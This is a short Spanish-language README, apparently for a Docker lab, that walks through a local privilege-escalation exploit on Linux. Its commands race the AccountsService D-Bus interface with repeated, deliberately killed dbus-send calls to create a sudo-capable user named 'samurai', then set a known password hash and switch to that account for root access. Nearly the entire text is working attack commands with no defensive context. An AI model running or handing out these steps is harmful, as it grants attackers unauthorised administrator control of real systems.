
por Mark, Qingchen Yu Para construir el contenedor con
docker build -t <image tag of your choice> .
Para ejecutar el contenedor
docker run -it <image tag name>
comience con start.sh
Mida el tiempo de ejecución: Anote el tiempo 'real' y calcule su mitad.
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
Cree un usuario con privilegios sudo: Reemplace X.XXX con la mitad del tiempo 'real' anterior porque queremos que el proceso se interrumpa a la mitad el comando se ejecutará como un bucle de 10000 veces Puede que necesite ejecutar este paso varias veces
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
Compruebe la creación del usuario
id samurai
Debería mostrar que el usuario samurai existe y mostrar sus permisos. Si no es así, ejecute el paso 2 nuevamente.
Genere el hash de la contraseña: en este caso, la contraseña sería 'iamsamurai' Anote el hash generado.
openssl passwd -5 iamsamurai
Establezca la contraseña para el nuevo usuario: Reemplace X.XXX con la duración de sleep y 'Password Hash' por el hash del paso 4. Reemplace UUUU por el ID de usuario de 'samurai'
for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
Cambie al nuevo usuario con la contraseña que creó en el paso 4.
su - samurai
Ahora debería poder usar 'sudo con este usuario'.